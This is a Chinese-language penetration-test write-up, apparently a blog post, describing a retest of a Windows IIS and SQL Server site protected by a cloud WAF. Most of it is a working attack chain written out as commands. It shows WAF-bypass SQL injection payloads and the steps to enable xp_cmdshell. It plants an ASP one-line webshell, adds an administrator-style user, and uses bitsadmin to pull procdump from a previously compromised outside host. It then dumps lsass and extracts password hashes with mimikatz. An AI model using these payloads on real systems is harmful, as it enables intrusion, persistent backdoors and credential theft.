前言
在初测某系统时,发现该系统存在文件上传,SQL注入等高危漏洞。
经过一段时间的整改。复测时发现系统的文件上传漏洞已经修复。但仍然存在SQL注入漏洞。只不过加了一层云锁的防护。
信息收集
IP为阿里云、windows+IIS+aspx+sql server、云锁的防护、80、1433、3389端口开放
sql注入
sql注入点还是初测的搜索框的注入。在云锁的防护下,无法使用sqlmap跑包。
会封IP。
![](https://img.haomeiwen.com/i1734768/15944680dc370552.png)
笔者选择手动注入bypass
简单的payload
1%';execute('sel'%2b'ect convert(int,@@version)') --
1%';execute('sel'%2b'ect convert(int,user)') --
1%';if(select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5' --
![](https://img.haomeiwen.com/i1734768/d8758a1bdb87982f.png)
![](https://img.haomeiwen.com/i1734768/50041f54c61bc805.png)
笔者考虑到sqlserver数据库的庞大数据问题,以及上传漏洞被修复。可能进了管理后台也不存在上传漏洞。 且当前sqlserver为dbo用户,可以命令执行。
(还有一思路:利用dnslog读取sqlserver的密码,然后远程连接sqlserver数据库。尝试了多半个小时还是没法bypass)
命令执行
sqlserver执行系统需要开启xp_cmdshell组件。
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
执行时云锁并未拦截。
页面没有回显。不知道是否成功开启。
执行几条系统命令试试。
![](https://img.haomeiwen.com/i1734768/9a6c1989629a0c36.png)
依然没有回显。
将命令执行输出到网站可访问的目录下。
(网站根目录是初测文件上传看到的)
![](https://img.haomeiwen.com/i1734768/f07f6e031f976503.png)
![](https://img.haomeiwen.com/i1734768/1003c0c16e6501bb.png)
system的权限,再加上IP为阿里云,直接添加用户远程好啦。
哪知道,这才是刚刚开始。
1%';exec master.dbo.xp_cmdshell "whoami >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "dir >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "tasklist >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user admin 1234qwer.. /add >> c:\\xxx\\Admin\\1.txt"
1%';exec master.dbo.xp_cmdshell "net user >> c:\\xxx\\Admin\\1.txt"
几条命令执行后,竟然没法添加上用户。可能进程里存在防护。
![](https://img.haomeiwen.com/i1734768/c5e8bb2432654303.png)
陷入僵局······
思路一
通过echo写入asp一句话马,bypass 云锁可以使用include包含。
结果服务器500
echo ^<%eval request('x')%^> > c:\\wwwroot\\xxxx\Admin\\2.txt
echo ^<!--#include file='2.txt'--^> > c:\\wwwroot\\xxxx\Admin\\2.asp
![](https://img.haomeiwen.com/i1734768/bcc3c9c322d68d83.png)
思路二
使用冰蝎自带的asp webshell。将源码base64编码后,certutil -encode 解码生成asp马。
结果字符长度有限制。
![](https://img.haomeiwen.com/i1734768/8445837d7531f7cf.png)
思路三
打算使用frp+metasploit,然后发现vps被封啦。
最后采用prodump+mimikatz读取windows密码
Procdump导出lsass.dmp
通过bitsadmin命令远程下载prodump文件到目标机上。
(因为vps不能用,笔者先将prodump64.exe上传到曾经被拿下且还存活的靶机上,再通过bitsadmin命令从靶机上下载prodump64.exe到目标机上。简单来说,相当于中转了一下)
bitsadmin /transfer myDownLoadJob /download /priority normal "http://111.xxxx:82/ArcGIS/procdump.exe" "C:\\Windows\\system32\\procdump.exe"
为了避免再次出现字符长度的限制,笔者选择下载到c:\windows\system\目录下
即sql server命令执行的目录。
![](https://img.haomeiwen.com/i1734768/833812bd2c7409fe.png)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Procdump导出lsass.dmp
![](https://img.haomeiwen.com/i1734768/235c0c4f9f36f863.png)
再通过copy 到 c:\wwwroot\xxxx\admin\lsass.dmp
![](https://img.haomeiwen.com/i1734768/fdd961989a75df6a.png)
当访问的时候,竟然出现404。笔者一直以为copy命令有误。
dir查看该目录才发现这神奇的问题。
![](https://img.haomeiwen.com/i1734768/86c6f1441ed90cbf.png)
手动将lsass.dmp重命名为x.txt,成功下载。然后在本地上再重命名回dmp。就可以通过mimikatz读取hash
![](https://img.haomeiwen.com/i1734768/2eb287e03fe86d1c.png)
![](https://img.haomeiwen.com/i1734768/b3c7b35acdf45774.png)
![](https://img.haomeiwen.com/i1734768/105d8401fc0e22ef.png)
网友评论